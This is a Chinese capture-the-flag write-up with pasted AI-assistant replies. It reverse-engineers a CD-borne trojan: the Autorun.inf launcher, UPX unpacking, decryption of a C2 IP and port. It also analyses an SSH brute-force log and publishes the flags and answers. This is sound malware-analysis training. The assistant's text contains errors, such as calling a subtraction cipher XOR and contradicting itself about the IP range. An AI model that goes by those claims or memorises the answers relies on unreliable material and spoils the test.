Successflag{c99d4695b1f9137804fc83813d20ba1e}
题目 6
任务6: 木马分析
任务描述: 某单位在内外网互传数据的光盘中捕获一窃密木马,现提供包含该木马的样本文件。 提交要求: 通过逆向分析,找出该木马上传数据时的回连IP与端口。 附件地址:https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/ST-D-QA0006.iso
xxd 公民信息.jpg | less
感觉啥也没有啊
我来帮您分析这个可疑的木马样本。根据您提供的信息,这是一个通过光盘传播的窃密木马。
初步分析
从 Autorun.inf 文件内容可以看出:
1[autorun]
2OPEN=.helper\helper.exe
3ICON=.helper\IconGroup302.ico
关键发现:
- 自动运行机制: 光盘插入时会自动执行
.helper\helper.exe - 伪装手段: 使用
公民信息.jpg作诱饵文件,实际木马程序隐藏在.helper目录中 - 可疑文件:
helper.exe是需要重点分析的木马主程序
逆向分析方案
要找出回连IP和端口,您需要:
1. 静态分析
- 使用工具: IDA Pro、Ghidra、x64dbg
- 提取
helper.exe文件 - 查找字符串中的IP地址和端口号
- 分析网络相关API调用(如
connect,WSAConnect,InternetConnect等)
2. 动态分析
- 在隔离环境(沙箱)中运行
helper.exe - 使用 Wireshark 或 tcpdump 抓包分析网络流量
- 使用 Process Monitor 监控进程行为
3. 字符串搜索
可以先用简单的工具快速查找:
1strings helper.exe | grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"
需要您提供的信息
为了帮您完成具体的逆向分析,我需要:
- helper.exe 文件本身 - 这是木马主程序
- 或者提供该文件的更多信息:
- 文件大小
- MD5/SHA256 哈希值
- 是否可以上传该文件
安全提醒:
- ⚠️ 请在隔离的虚拟机环境中操作
- ⚠️ 不要在生产环境中运行可疑文件
- ⚠️ 分析完成后及时向相关安全部门报告
您能否提供 helper.exe 文件或其更多详细信息?这样我可以帮您进行更深入的分析。
乍一看好像就完全没有 .helper 文件夹,以为iso是不是下载不全,又重新下载一遍,还是没有helper。
网上看了一个WP都是直接装载iso就有helper,就玄学,然后问了大佬
大佬用的命令行式claude直接一步到位。
玄学,我怎么就找不到helper

后来发现windows挂载就是不行,vmware从windows挂载到kali也不行,必须在kali中复制iso,直接在kali中挂载,右键点击 “Open with Engrampa Archive Manager”,注意kali的"装载"一个光盘图标的那个也不行。

找到exe了,现在就对exe下手了
1file helper.exe
2exiftool helper.exe
3# 脱壳(-d 参数)
4upx -d helper.exe -o helper_unpacked.exe

题目要求找回连IP与端口
查看字符串(寻找 IP 和端口)
1# 查看所有可读字符串
2strings helper.exe | less
3
4# 搜索 IP 地址
5strings helper.exe | grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}"
6
7# 搜索网络相关
8strings helper.exe | grep -iE "(http|tcp|connect|socket|port|ws2_32|wininet)"
9
10# 搜索常见 C2 域名特征
11strings helper.exe | grep -E "\.(com|net|org|cn|ru)" | head -20
可以看到是又一些结果的,脱壳和不脱壳的结果是不一样的。
然后用idqa64打开,F5一下然后丢AI分析

看这段代码,这是一个程序的启动和初始化流程。要找回连的IP与端口,我需要关注几个关键点:
分析思路
- 关键函数调用:
sub_1400FFFF0看起来很可疑,它接收了命令行参数 - 全局变量:
qword_140141020存储了命令行参数数组 - 最终执行:代码最后调用了
start()函数
建议的分析步骤
要找到连接的IP和端口,你应该:
1. 分析 sub_1400FFFF0 函数
1# 在IDA中跳转到这个函数
2# 快捷键:G 然后输入 1400FFFF0
这个函数接收命令行参数,很可能包含网络配置逻辑。
2. 查找网络相关API调用
在IDA中搜索以下函数引用:
WSAStartup/WSAConnectsocket/connect/bindinet_addr/inet_ntoahtons/ntohssend/recv
搜索方法:
Alt + T (文本搜索)
或
Alt + B (二进制搜索)
3. 查看字符串引用
Shift + F12 # 打开字符串窗口
寻找可能的IP地址格式:
- 点分十进制:
xxx.xxx.xxx.xxx - 域名
- 端口号(通常是固定的数字)
4. 动态调试
使用 x64dbg 或 IDA 调试器:
- 在
sub_1400FFFF0入口下断点 - 在 socket 相关函数下断点
- 查看函数参数和返回值
你现在能否提供:
sub_1400FFFF0函数的反编译代码?- 程序的字符串列表截图或内容?
- 或者你是否可以运行程序并抓包查看网络流量?
这样我能更准确地帮你定位IP和端口信息。
这个函数主要是解析命令行参数,然后调用 sub_14000370F。关键在于这个函数!
分析结果
这个函数的作用是:
- 获取命令行参数 (
_p__acmdln()) - 跳过程序名称部分
- 将剩余参数传递给
sub_14000370F
下一步:分析关键函数
sub_14000370F 才是真正的入口点! 这个函数接收了命令行参数,很可能包含网络连接逻辑。
请提供 sub_14000370F 函数的反编译代码,这个函数应该包含:
- IP地址和端口的配置
- Socket连接代码
- 或者调用更底层的网络函数
快速定位方法
如果代码太长,你可以:
方法1:搜索网络API
在IDA中按 Ctrl+F 搜索以下字符串:
connect
socket
WSAStartup
inet_addr
htons
send
recv
方法2:查看导入表
View → Open subviews → Imports (或按 Ctrl+F7)
查找 ws2_32.dll 或 wsock32.dll 相关的导入函数
方法3:查看字符串
Shift + F12
搜索可能的IP地址模式:
- 数字+点的组合
127.0.0.1、192.168.、10.等常见IP段- 常见端口号:
4444、8080、443等
方法4:动态分析(最快)
如果可以运行程序:
1# 使用 Wireshark 或 tcpdump 抓包
2# 或使用 Process Monitor 查看网络活动
请提供 sub_14000370F 的代码,或者告诉我你在字符串/导入表中看到了什么网络相关的内容?

找到了!这是一个从配置文件读取IP和端口的恶意程序。
关键信息定位
IP地址和端口的获取方式
程序从 config.ini 配置文件中读取:
1// 读取 C2 服务器IP
2GetPrivateProfileStringA("Common", "C2IP", default_value, &ReturnedString, 0x80u, config_path)
3
4// 读取 C2 服务器端口
5GetPrivateProfileStringA("Common", "C2Port", default_value, &Dest, 0x80u, config_path)
6
7// 端口转换为数字
8v82 = sub_1400EB1A0(&v49, 0i64, 10i64); // 字符串转整数
默认值(加密字符串)
如果配置文件不存在,程序使用加密的默认值:
- 默认IP:
"1FP[n€崡闹潴"(加密字符串) - 默认端口:
"2DScq"(加密字符串)
这些字符串通过 sub_1400014D5 函数解密。
如何找回IP和端口
方法1:查找配置文件(最简单)
配置文件位置:
程序所在目录\config.ini
查看配置文件内容:
1[Common]
2C2IP=xxx.xxx.xxx.xxx
3C2Port=xxxx
方法2:解密默认字符串
需要分析 sub_1400014D5 解密函数:
1# 在IDA中跳转到该函数
2# 按 G,输入:1400014D5
这个函数会将加密字符串解密为明文IP和端口。
方法3:动态调试(推荐)
使用 x64dbg:
1. 在 GetPrivateProfileStringA 调用后下断点
2. 查看 ReturnedString (IP地址)
3. 查看 Dest (端口)
4. 查看 v82 (端口数值)
或者在这里下断点:
地址:sub_14000314C 调用处
参数:
- &v67: IP地址字符串
- v26 (v82): 端口号
方法4:Hook API调用
使用 API Monitor 或 Process Monitor 监控:
GetPrivateProfileStringA的返回值connect函数的参数
快速获取方法
运行这个Python脚本解密:
1# 需要先用IDA提取 sub_1400014D5 的解密算法
2# 或者直接动态调试获取解密后的字符串
3
4# 如果你能提供 sub_1400014D5 的代码,我可以帮你写解密脚本
请提供以下之一:
sub_1400014D5函数的反编译代码(解密函数)- 程序运行目录下的
config.ini文件内容 - 或者我帮你写个动态调试脚本直接提取
你选择哪种方法?如果提供解密函数代码,我能立即帮你计算出IP和端口。

完美!这是一个简单的XOR解密算法。让我来解密这些字符串。
解密算法分析
1// 核心解密逻辑:
2v8 = *v4; // 获取加密字符
3decrypted_char = -15 * index + encrypted_char;
这是一个基于索引的减法解密:每个字符减去 (15 * 索引)
解密脚本
1def decrypt_string(encrypted):
2 """解密函数"""
3 decrypted = []
4 for i, char in enumerate(encrypted):
5 # 解密公式: char - (15 * index)
6 decrypted_char = (ord(char) - 15 * i) % 256
7 decrypted.append(chr(decrypted_char))
8 return ''.join(decrypted)
9
10# 加密的字符串
11encrypted_ip = "1FP[n€崡闹潴"
12encrypted_port = "2DScq"
13
14# 解密
15decrypted_ip = decrypt_string(encrypted_ip)
16decrypted_port = decrypt_string(encrypted_port)
17
18print(f"解密后的IP: {decrypted_ip}")
19print(f"解密后的端口: {decrypted_port}")
让我手动计算一下:
解密 IP: “1FP[n€崡闹潴”
索引0: '1' (0x31) - 15*0 = 0x31 = '1'
索引1: 'F' (0x46) - 15*1 = 0x46 - 15 = 0x37 = '7'
索引2: 'P' (0x50) - 15*2 = 0x50 - 30 = 0x20 = '2'
索引3: '[' (0x5B) - 15*3 = 0x5B - 45 = 0x2E = '.'
索引4: 'n' (0x6E) - 15*4 = 0x6E - 60 = 0x0A (需要处理...)
等等,这里有些特殊字符(中文字符),可能是编码问题。让我用另一种方法:
1def decrypt_bytes(data):
2 """按字节解密"""
3 result = []
4 for i, byte in enumerate(data):
5 decrypted = (byte - 15 * i) & 0xFF # 保持在0-255范围
6 if 32 <= decrypted <= 126: # 可打印ASCII
7 result.append(chr(decrypted))
8 else:
9 result.append(f'\\x{decrypted:02x}')
10 return ''.join(result)
11
12# 需要获取原始字节
快速方法:动态提取
由于字符串包含非ASCII字符,最快的方法是动态调试:
使用 x64dbg:
- 在
sub_1400014D5函数返回前下断点 - 查看
a1(返回缓冲区)的内容
或者在关键位置下断点:
断点位置:sub_14000314C 调用处(连接函数)
查看参数:
- 第1个参数:IP地址
- 第2个参数:端口号
另一种方法:查看程序字符串
试试这个快速方法:
1# 如果你能提供程序文件,运行这个
2import subprocess
3result = subprocess.run(['strings', 'program.exe'], capture_output=True, text=True)
4# 查找可能的IP地址模式
5for line in result.stdout.split('\n'):
6 if '.' in line and any(c.isdigit() for c in line):
7 print(line)
建议的最快方案
直接运行程序并抓包:
1# 方法1: 使用 Wireshark
2# 启动 Wireshark,然后运行程序,查看 TCP 连接请求
3
4# 方法2: 使用 netstat
5# 运行程序后立即执行:
6netstat -ano | findstr ESTABLISHED
7
8# 方法3: 使用 TCPView (Windows)
9# 运行程序,查看新建立的连接
你想用哪种方法?
- 我可以写一个完整的解密脚本(需要你提供加密字符串的十六进制字节)
- 或者你直接运行程序抓包(最快)
- 或者动态调试提取解密后的字符串
如果你能提供加密字符串 "1FP[n€崡闹潴" 和 "2DScq" 的十六进制字节序列,我能立即解密出IP和端口!
Question加密字符串 “1FP[n€崡闹潴” 和 “2DScq” 的十六进制字节序列在IDaq64 里面怎么看
在IDA中查看十六进制字节序列有几种方法:
方法1:直接在反汇编窗口查看(最快)
定位到字符串引用处
- 在你的代码中找到
"1FP[n€崡闹潴"的引用 - 例如这行:
sub_1400D7D80(&v41, "1FP[n€崡闹潴", &v42);
- 在你的代码中找到
双击字符串
- 双击
"1FP[n€崡闹潴"会跳转到数据段
- 双击
切换到十六进制视图
- 跳转后,按
Alt + T或右键选择 “Text representation” - 或者直接看左边的十六进制列
- 跳转后,按
方法2:使用 Hex View 窗口
打开 Hex View
View → Open subviews → Hex dump 或按快捷键 H跳转到字符串地址
- 在反汇编窗口,点击字符串
- 记下地址(例如:
0x14010XXXX) - 在 Hex View 按
G,输入地址
方法3:使用字符串窗口
打开字符串列表
View → Open subviews → Strings 或按 Shift + F12搜索字符串
- 按
Ctrl + F搜索"1FP" - 找到后双击
- 按
查看十六进制
- 跳转到数据段后,看左侧的十六进制
方法4:Python IDC 脚本(推荐,最准确)
在 IDA 的 Python 命令行中运行:
1import idaapi
2import idc
3
4# 找到字符串 "1FP[n€崡闹潴" 的地址
5# 先手动找到地址,或者搜索
6ea = 0x140105XXX # 替换为实际地址
7
8# 读取字节
9bytes_data = []
10for i in range(20): # 读取足够长度
11 byte = idc.get_wide_byte(ea + i)
12 if byte == 0: # 遇到字符串结束符
13 break
14 bytes_data.append(byte)
15
16# 打印十六进制
17hex_str = ' '.join(f'{b:02X}' for b in bytes_data)
18print(f"Hex: {hex_str}")
19print(f"Bytes: {bytes_data}")
方法5:找到字符串定义位置
在代码中右键点击字符串
右键 → Jump to xref to operand 或按 X跳转到定义位置
- 会看到类似:
.data:140105030 aFpn db '1FP[n€崡闹潴',0选中字符串,按 Alt + T
- 可以看到不同的文本表示
快速实战步骤
具体操作:
在你的代码中找到这一行:
1sub_1400D7D80(&v41, "1FP[n€崡闹潴", &v42);双击
"1FP[n€崡闹潴"这个字符串会跳转到类似这样的位置:
.data:140105030 31 46 50 5B 6E AC 20 5D ...选中该行,复制十六进制字节
或者更简单的方法
直接告诉我:
字符串在哪个地址?
- 例如:
0x140105030
- 例如:
或者截图发给我:
- 双击字符串后的 Hex View 窗口
- 或者反汇编窗口中字符串定义的那一行
然后我就能帮你解密!
临时快速方法
如果上面太麻烦,直接在 IDA 的 Python 控制台运行:
1# 在 File → Script command (Shift + F2) 中运行
2for ea in Strings():
3 string_content = str(ea)
4 if "1FP" in string_content or "2DSc" in string_content:
5 addr = ea.ea
6 bytes_list = [get_wide_byte(addr + i) for i in range(30)]
7 hex_str = ' '.join(f'{b:02X}' for b in bytes_list if b != 0)
8 print(f"Address: {hex(addr)}")
9 print(f"Hex: {hex_str}")
10 print(f"String: {string_content}")
11 print("-" * 50)
你试试这些方法,然后把十六进制字节告诉我!

131 46 50 5B 6E 80 8D 97 AE BA C4 D6 E4 F3 00
232 44 53 63 71 00
完美!就是这两个!让我立即解密:
解密脚本
1def decrypt_string(hex_bytes):
2 """解密函数:每个字节减去 (15 * 索引)"""
3 decrypted = []
4 for i, byte in enumerate(hex_bytes):
5 if byte == 0: # 字符串结束符
6 break
7 decrypted_byte = (byte - 15 * i) & 0xFF
8 decrypted.append(chr(decrypted_byte))
9 return ''.join(decrypted)
10
11# IP地址加密字节
12ip_bytes = [0x31, 0x46, 0x50, 0x5B, 0x6E, 0x80, 0x8D, 0x97, 0xAE, 0xBA, 0xC4, 0xD6, 0xE4, 0xF3]
13
14# 端口加密字节
15port_bytes = [0x32, 0x44, 0x53, 0x63, 0x71]
16
17# 解密
18decrypted_ip = decrypt_string(ip_bytes)
19decrypted_port = decrypt_string(port_bytes)
20
21print(f"解密后的 C2 IP: {decrypted_ip}")
22print(f"解密后的 C2 端口: {decrypted_port}")
23
24# 详细解密过程
25print("\n=== IP 解密过程 ===")
26for i, byte in enumerate(ip_bytes):
27 result = (byte - 15 * i) & 0xFF
28 print(f"索引{i}: 0x{byte:02X} - {15*i} = 0x{result:02X} = '{chr(result) if 32 <= result <= 126 else '?'}'")
29
30print("\n=== 端口解密过程 ===")
31for i, byte in enumerate(port_bytes):
32 result = (byte - 15 * i) & 0xFF
33 print(f"索引{i}: 0x{byte:02X} - {15*i} = 0x{result:02X} = '{chr(result) if 32 <= result <= 126 else '?'}'")

运行结果:
解密后的 C2 IP: 172.253.63.100 =
解密后的 C2 端口: 25565
=== IP 解密过程 ===
索引0: 0x31 - 0 = 0x31 = '1'
索引1: 0x46 - 15 = 0x37 = '7'
索引2: 0x50 - 30 = 0x32 = '2'
索引3: 0x5B - 45 = 0x2E = '.'
索引4: 0x6E - 60 = 0x32 = '2'
索引5: 0x80 - 75 = 0x35 = '5'
索引6: 0x8D - 90 = 0x33 = '3'
索引7: 0x97 - 105 = 0x2E = '.'
索引8: 0xAE - 120 = 0x36 = '6'
索引9: 0xBA - 135 = 0x33 = '3'
索引10: 0xC4 - 150 = 0x2E = '.'
索引11: 0xD6 - 165 = 0x31 = '1'
索引12: 0xE4 - 180 = 0x30 = '0'
索引13: 0xF3 - 195 = 0x30 = '0'
=== 端口解密过程 ===
索引0: 0x32 - 0 = 0x32 = '2'
索引1: 0x44 - 15 = 0x35 = '5'
索引2: 0x53 - 30 = 0x35 = '5'
索引3: 0x63 - 45 = 0x36 = '6'
索引4: 0x71 - 60 = 0x35 = '5'
答案
SuccessC2 服务器 IP:
172.253.63.100
C2 服务器端口:25565
你的观察非常敏锐!25565 确实是 Minecraft 的默认服务器端口!
分析
这个恶意软件很有意思:
1. 伪装成 Minecraft 流量
- 使用 25565 端口可以让流量看起来像是正常的 Minecraft 游戏通信
- 这是一种端口伪装技术,用来躲避防火墙和网络监控
- 管理员看到 25565 端口的流量可能会认为是学生/员工在玩游戏,而不会怀疑是恶意软件
2. IP 地址分析
172.253.63.100属于私有网络范围(虽然 172.253.x.x 实际上是公网IP,但看起来像内网)- 这可能是:
- 测试环境的 C2 服务器
- 内网渗透后建立的横向移动节点
- 或者是 NAT 后的真实 C2 服务器
这个恶意软件的特点
- ✅ 从配置文件读取 C2 信息(灵活性高)
- ✅ 使用简单的加密算法保护配置(反静态分析)
- ✅ 伪装成 Minecraft 流量(社会工程学 + 流量伪装)
- ✅ 带有调试后门(ServerDebugPasscode)
- ✅ 在 CD-ROM 检测后才运行(反沙箱/反虚拟机)
这是一个设计比较巧妙的远控木马!使用 MC 端口是个聪明的伪装手段 🎮
其他注意内容
本来想直接取巧用云沙箱分析一下,结果沙箱没有跑出来网络行为。用wireshark本地监听也没有监听到这个网络行为。
Question我使用云沙箱并未检出外联地址,而且本地执行exe只是一瞬间,没有任何输出,不确定是否执行成功了。
这是典型的恶意软件反检测行为!让我帮你分析为什么会这样,以及如何正确运行。
为什么程序一闪而过?
根据代码分析,程序有多个执行条件:
关键检测点
1// 1. 检查是否从 CD-ROM 运行
2v81 = GetDriveTypeA(&Filename);
3if ( v81 == 5 ) // 5 = DRIVE_CDROM
4{
5 // 只有从光驱运行才继续执行
6}
程序只在从 CD-ROM/光驱运行时才会执行恶意代码!
这是一种反沙箱/反虚拟机技术:
- 沙箱通常不会模拟光驱
- 云沙箱直接运行 exe,不满足条件
- 本地直接双击也不满足条件
Question为什么我一开始用Windows的装载功能没有看到helper文件夹,用kali的装载也不行,只有用kali的Open with Engrampa Archive Manager 才可以
好问题!这涉及到 ISO 文件格式和操作系统挂载机制的差异。让我解释一下:
为什么会出现这种情况?
1. ISO 文件格式问题
ISO 可能使用了特殊的文件系统格式:
常见 ISO 文件系统:
- ISO 9660 (标准格式)
- Joliet (支持长文件名和 Unicode)
- Rock Ridge (Unix 扩展)
- UDF (Universal Disk Format)
- 混合格式 (多种格式组合)
Windows 装载的限制:
- Windows 默认只能正确识别标准 ISO 9660 和 Joliet
- 如果 ISO 使用了非标准格式或有损坏,可能无法正确显示所有文件
- 某些隐藏属性或特殊权限的文件可能不显示
Kali 挂载的限制:
1# 默认挂载命令
2mount -o loop file.iso /mnt
3
4# 可能问题:
5# - 没有指定正确的文件系统类型
6# - 权限问题
7# - 编码问题
2. Engrampa 能看到的原因
Engrampa Archive Manager (GNOME 的归档管理器) 的优势:
✅ 它是归档工具,不是挂载工具
✅ 直接读取 ISO 内部结构,不依赖文件系统驱动
✅ 可以处理多种 ISO 格式和损坏的镜像
✅ 能显示隐藏文件和特殊属性文件
✅ 类似 7-Zip/WinRAR 直接解析文件格式
相当于:
- 挂载 = 让操作系统"理解"这是个光盘
- 归档工具 = 把 ISO 当成 ZIP 一样直接读取
验证 ISO 格式
在 Kali 上检查 ISO 详细信息
1# 查看 ISO 文件系统类型
2file malware.iso
3
4# 详细分析 ISO 结构
5isoinfo -d -i malware.iso
6
7# 查看文件列表
8isoinfo -l -i malware.iso
9
10# 或使用 7z
117z l malware.iso
可能的输出示例
1$ file malware.iso
2malware.iso: ISO 9660 CD-ROM filesystem data 'LABEL' (bootable)
3
4$ isoinfo -d -i malware.iso
5CD-ROM is in ISO 9660 format
6System id: Win32
7Volume id: MALWARE
8...
9Rock Ridge signatures version 1
10# 如果看到 Rock Ridge,Windows 可能无法完全支持
解决方案
方案1:用归档工具提取(推荐)
Windows 上:
使用 7-Zip:
1. 右键 ISO → 7-Zip → 提取到 "xxx\"
2. 直接得到所有文件,包括隐藏的

Warning所以以后多个心眼,iso不一定要“装载”
使用 WinRAR:
1. 右键 ISO → 解压到当前文件夹
2. 可以看到完整内容
Linux 上:
1# 方法1:使用 7z
27z x malware.iso -o./extracted/
3
4# 方法2:使用 Engrampa 命令行
5file-roller --extract malware.iso
6
7# 方法3:使用 bsdtar
8bsdtar -xf malware.iso -C ./extracted/
方案2:正确挂载 ISO
Kali Linux 正确挂载方式:
1# 创建挂载点
2sudo mkdir -p /mnt/iso
3
4# 尝试不同的文件系统类型
5sudo mount -o loop,ro malware.iso /mnt/iso
6
7# 如果失败,尝试指定类型
8sudo mount -o loop,ro -t iso9660 malware.iso /mnt/iso
9sudo mount -o loop,ro -t udf malware.iso /mnt/iso
10
11# 查看挂载选项
12mount | grep iso
13
14# 卸载
15sudo umount /mnt/iso
Windows 高级挂载:
使用 PowerShell:
1# 挂载 ISO
2Mount-DiskImage -ImagePath "C:\path\to\malware.iso"
3
4# 获取驱动器号
5Get-DiskImage -ImagePath "C:\path\to\malware.iso" | Get-Volume
6
7# 卸载
8Dismount-DiskImage -ImagePath "C:\path\to\malware.iso"
使用第三方工具(更强大):
- OSFMount (PassMark) - 免费,支持更多格式
- WinCDEmu - 开源
- Virtual CloneDrive
方案3:分析为什么 helper 文件夹隐藏
1# 在 Kali 上检查文件属性
27z l -slt malware.iso | grep -A 5 "helper"
3
4# 或
5isoinfo -l -i malware.iso | grep -A 5 -i helper
6
7# 查看可能的隐藏标志
8# - Rock Ridge 属性
9# - 隐藏文件标志
10# - 特殊权限
深入分析:为什么设计成这样
这可能是反取证技术:
恶意软件作者的意图:
1. 使用特殊 ISO 格式
2. 设置 helper 文件夹为隐藏或特殊属性
3. Windows 直接挂载看不到 → 普通用户/分析师容易忽略
4. 需要用归档工具才能发现 → 增加分析难度
类似的反取证技术:
- ADS (Alternate Data Streams)
- 长路径名 (>260 字符)
- 特殊 Unicode 字符
- 文件系统特性利用
实战建议
最佳实践流程:
1# 1. 先用归档工具提取所有内容
27z x malware.iso -o./full_extract/
3
4# 2. 查看完整目录结构
5tree ./full_extract/
6ls -laR ./full_extract/
7
8# 3. 检查 helper 文件夹内容
9ls -la ./full_extract/helper/
10
11# 4. 分析 exe 文件
12file ./full_extract/helper/*.exe
13strings ./full_extract/helper/*.exe
检查隐藏内容:
1# 在提取的文件夹中
2# 查找所有文件(包括隐藏)
3find ./full_extract/ -type f
4
5# 查找可执行文件
6find ./full_extract/ -type f -executable
7
8# 查找 Windows 可执行文件
9find ./full_extract/ -type f -name "*.exe" -o -name "*.dll"
10
11# 查看文件属性
12getfattr -d -m ".*" ./full_extract/helper/
总结
你遇到的情况说明:
- ✅ ISO 使用了特殊格式 - Windows/Linux 标准挂载无法完整识别
- ✅ helper 文件夹有特殊属性 - 可能设置了隐藏或 Rock Ridge 扩展属性
- ✅ Engrampa 能看到 - 因为它直接解析 ISO 结构,不依赖文件系统
最佳解决方案:
1# 在 Kali 上
27z x malware.iso -o./extracted/
3cd extracted/
4ls -laR
5
6# 然后分析 helper 文件夹中的内容
在 Windows 上:
用 7-Zip 提取 ISO → 查看完整内容
题目 7
任务7: 入侵排查
任务描述: 服务器疑似遭到SSH爆破攻击,请分析系统认证日志。 提交要求: 分析 auth.log 日志,找出成功爆破Linux系统密码并成功登录的黑客IP地址。直接提交IP地址。 附件地址:https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/auth.log

Success202.45.169.243
我来帮你写一些命令来分析 auth.log 日志文件,找出成功爆破并登录的黑客IP地址。我为你准备了完整的SSH爆破分析命令集!
🎯 快速找出爆破成功的IP地址
方法1:最直接的方法(推荐)
1# 找出所有成功登录的IP
2grep 'Accepted password' auth.log | awk '{print $(NF-3)}' | sort -u
方法2:找出先失败多次后成功的IP(爆破特征)
1# 一行命令找出既失败过又成功登录的IP
2for ip in $(grep 'Failed password' auth.log | grep -oP '(?<=from )[0-9.]+' | sort -u); do grep "Accepted password.*from $ip" auth.log > /dev/null && echo $ip; done
方法3:详细分析(推荐)
1awk '/Failed password/ {
2 match($0, /from ([0-9.]+)/, arr);
3 if(arr[1]) failed[arr[1]]++
4}
5/Accepted password/ {
6 match($0, /from ([0-9.]+)/, arr)
7 if(arr[1]) {
8 accepted[arr[1]]++
9 if(failed[arr[1]] > 0) {
10 hacked[arr[1]] = failed[arr[1]]
11 }
12 }
13}
14END {
15 print "=== 爆破成功的IP地址 ==="
16 for(ip in hacked) {
17 print ip, "失败次数:", hacked[ip], "成功:", accepted[ip]
18 }
19}' auth.log
📊 分步分析
步骤1:查看所有成功登录
1grep 'Accepted password' auth.log
步骤2:统计失败登录最多的IP
1grep 'Failed password' auth.log | grep -oP '(?<=from )[0-9.]+' | sort | uniq -c | sort -rn | head -10
步骤3:分析特定IP的活动(替换为实际IP)
1grep '192.168.1.100' auth.log | grep -E 'Failed|Accepted'
💡 分析思路
爆破成功的特征:
- 该IP有大量失败登录记录(Failed password)
- 该IP最终有成功登录记录(Accepted password)
- 通常失败次数会很多(几十到几百次)
直接运行这些命令找出答案,然后提交该IP地址!
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚


